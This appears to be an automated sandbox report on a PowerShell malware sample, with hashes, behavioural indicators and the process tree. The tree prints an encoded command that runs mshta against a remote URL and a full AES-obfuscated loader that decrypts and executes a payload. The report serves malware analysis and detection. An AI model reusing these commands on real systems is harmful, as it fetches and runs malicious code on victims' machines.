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Analysis
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max time kernel
36s -
max time network
37s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
09/08/2024, 12:04
Static task
static1
Behavioral task
behavioral1
Sample
b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1.ps1
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1.ps1
Resource
win10v2004-20240802-en
General
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Target
b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1.ps1
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Size
147B
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MD5
461d549b45e71d09f616ea14cf0f46d2
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SHA1
eb06f635e30520fd8e764a3c6fc1216c798400c7
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SHA256
b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1
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SHA512
ea3dc372f83d76964b01a0437febaef0b725267af8a2e72d55995e301ed5fea02d1792900e4ef7dee5068f2e41d96f7cdb12ed6932fff8637562e64fddb93b4f
Malware Config
Extracted
https://microsoftcamp-c3.b-cdn.net/camp-v1
Signatures
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Blocklisted process makes network request 6 IoCs
flow pid Process 5 2752 mshta.exe 7 2752 mshta.exe 9 2752 mshta.exe 11 2752 mshta.exe 13 2752 mshta.exe 15 864 powershell.exe -
Downloads MZ/PE file
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pid Process 2356 powershell.exe 864 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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description ioc Process Key created \REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e mshta.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 mshta.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e mshta.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2356 powershell.exe 2696 powershell.exe 864 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2356 powershell.exe Token: SeDebugPrivilege 2696 powershell.exe Token: SeDebugPrivilege 864 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2356 wrote to memory of 2696 2356 powershell.exe 31 PID 2356 wrote to memory of 2696 2356 powershell.exe 31 PID 2356 wrote to memory of 2696 2356 powershell.exe 31 PID 2696 wrote to memory of 2752 2696 powershell.exe 32 PID 2696 wrote to memory of 2752 2696 powershell.exe 32 PID 2696 wrote to memory of 2752 2696 powershell.exe 32 PID 2752 wrote to memory of 864 2752 mshta.exe 34 PID 2752 wrote to memory of 864 2752 mshta.exe 34 PID 2752 wrote to memory of 864 2752 mshta.exe 34
Processes
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2356 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAG0AaQBjAHIAbwBzAG8AZgB0AGMAYQBtAHAALQBjADMALgBiAC0AYwBkAG4ALgBuAGUAdAAvAGMAYQBtAHAALQB2ADEA2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://microsoftcamp-c3.b-cdn.net/camp-v13⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function brIUT($HjeA){return -split ($HjeA -replace '..', '0x$& ')};$TODVhRF = brIUT('BD7A2B3707B4D5A6FA04450C5974911467897FAEA635C375E61EF7F5A701362EA05A72FBED7009D99927795122F56BDB77A5C7A562CB97DD7AA6A98126D0C3DD95349835F30F3C05230430C0DA1B06762BEA3D71E28798C9BA2F77E5185B5E033FCC7326AB5E75C350E8498719A25C2CD446C6788AB4A4D29AFC35309C1D12432468945A0065100F65C114310342BF95E644A862E8C59F289D8E869948EC904A8A06AB7BCD877EF40AD48BDA41E53D670E257430C9B41D7D5BA46024B00A0E92061D4E363EC73196FAAF167EC447B53C7EC644814BEF2957F8B8DA25FED21CAAA6BCE526E15F110C22E7D24CB63CF7194D64CBF124EA15CF976417DF9A3C31F6E7F6D1D8CCC6195C1C5759C078BCEC21F1EEAD77FF7C790752A3E6F61259FD936928CC85AB8CE3C4D7F5C5C3911F2E174CA9D668BA6667CFD8552C35A49A82D37FF1802F887BE3102AFEA366E6427CAF4C00AD1D26A2A0E13891C6965C59E68BE6AD1B771007EAE5360AF9978D08345674D9362629818EE2868D79F1D161F6E045DF8E1CE495BBD8C92A3BFFFC94F280BDD27630FC034C765787C3A7394C3B4CCB8AA08B7227276E679751D805C2CFADA79F65BED7EC896FF2096B12C3192449E626BBB14B7B6792F20F020D565334CE2F9A6BB082B7156641CD6202A14786B74D551C2ADAB799E749ECD1C1E737F3C9294E5557C3665B9D47BD63DA7D157BB135E986F659A1C427850F519DCAEF577D3BCE746FA620514A5C286F439BC258BB78B2F8BD90DE2162477D01D9DC24B52215A310AB78548E959A32F0663F77CEA87BB37D0A37A31FA71DDC830BBCEF9F3316C2FFC77F6E777209B1544DD076BE18B3045673702B7B7BD251F50E7EF7B179F1D350B041D7EF374F7329D88AFCDDC3F8CD501E379C678374F52B0FDABD750FA1D09C8905FDBD67017705D890E022478F9BB030476FD95D339DE7A0F15A7DDB42F68124942D5D4486FB8BC9DDE1DE666655505E64CCA93B0C941BEC3F3BCF18754AFB267438DC5CAD4C860ECF9F25234C4B8EED6CDF6549ADCED479DC662D864BB1FE809411022D8EB6B815B883FCB91B12EAAB6FC0B6BD6560C108F4FAD4C9928D9E3B19933A86696D1467487342C9AD3D82A540A0A9DA57B998DDC6DC68EC48628034FB3EB8D2A751BD4E71564D6C5196C311F0CF29EE815190C8C98B4426C7A071721942B5077A4C5BD229C3CB7D0A1F2CE1058BF3458093B4BB3AFCEA0B4DE58511DF411FD69707FB201577A2AEC2ABC554826FD1607A5CDC60713EB9B8101FE77F08291D1A9E3966C88A29A48232CEAB5C9B6AB0EABDFC5640CBB7A15105760EA820B11DDCFB6339C87F98E0D67C8B5F66CEBCDFCDB423D2892AA2201FFFEB45A1138874A513CC6A403E80FA91647FB97DF47B73641F4180417ACB434F8905429663F3AD3CC02BB7EC8F5760A3554C5F07796EEF98D66420E4C4111AF81E26E485973D470629ED4550211C5010EA8F21888817807FBA7077101CFF1200544B8473DB4AD925D5EB83929A96D1FC5937667AB4653F867B3A228F0C730BD97983DB3BAE2349660824615BE382DDB9A6786F42826AA43A43A83EB0E42FAD3B8A6FFE05483348445AD2820E3F9EE9A7DBA888F71410BE3C06EA5EE43D1284AC88D780D1FF5AE61A5ED878A5E73545AD24752B75B054F042668AD1735BD85BE52B0AC4494CD91A14C9AC1C0ACA5DE18CBF88AAECF42D84B0A885B795DE843E77CEF65247AA617140BFC23357F1523F6A79C265A9267D13DB313CB62F90BDAAFB55F8000AED649AAE6925D1F52C5A508578E52F3D210B5EBB7489A8FCD3E6F7E60F31A97F26668424A91E50656E81F8E6DAB37AFD49EFDA7C23171D7D6DF8401B625DD00CF235FB2115DAADA9603D786DF0DDFEB60750B48C2A7E48843819382D3FACCF2C6454FEB4CBC277F2283E469A440005ADCEB43B2FC3EF86468B5DD84F05AF72A8C0581087BE2C289AAB872304A237C3754A7CECBA7EF83A712B19DB18FD57291D0692B28AFFE94FEBE59AF465F107704C6BC3331E3D612B88BCAE82A8256A6A2127FC0477CE03278BFAEAA890B624ACFA7AACAD8131B03EBEC553025E635B44DC38CA1547F6B2F66680DD5464BC1270DE1221BA59EDD09696C57FB590');$yBWZm = [System.Security.Cryptography.Aes]::Create();$yBWZm.Key = brIUT('5A504E5669636D4C584770456265426C');$yBWZm.IV = New-Object byte[] 16;$AiLfvEfU = $yBWZm.CreateDecryptor();$VKZGbTYef = $AiLfvEfU.TransformFinalBlock($TODVhRF, 0, $TODVhRF.Length);$uuGcwomEu = [System.Text.Encoding]::Utf8.GetString($VKZGbTYef);$AiLfvEfU.Dispose();& $uuGcwomEu.Substring(0,3) $uuGcwomEu.Substring(3)4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:864
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\WNZH54VQ\camp-v1[1]
Filesize207KB
MD5f0a82fcce76a638f3800a72f96ebdb00
SHA16cb602d3f4323766316d2e0811858b3392f015c4
SHA2564de7b791a8a70bb57b6396c57553963320bf0e4e48be55a450e4bc0a59a79e0e
SHA51232fd024cd7a1a0298ca2899dcc1c911981ea7487661a85eda6bcd96cfab3cbdffd61d189191eb82f2f8d53bf90aaa4359571dbe839a26addb2c9956639638878
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD52257457d728e90ac619724d6db8efcb4
SHA19570f2451938127b2938941f5ddc6d43fa6ebb5a
SHA256a8e23e58fe83ad2c0ec3ce36f5ff709d3bf3d4150a5c07395c12ec251e4c3d92
SHA5128e17fffee71a54ce950b415c8d1ff66edc03014cd633f399982fa1255ab5dd059798f0b67685605d3a444e1211cdc9835b25f241916ab30ec1efecc348fdd870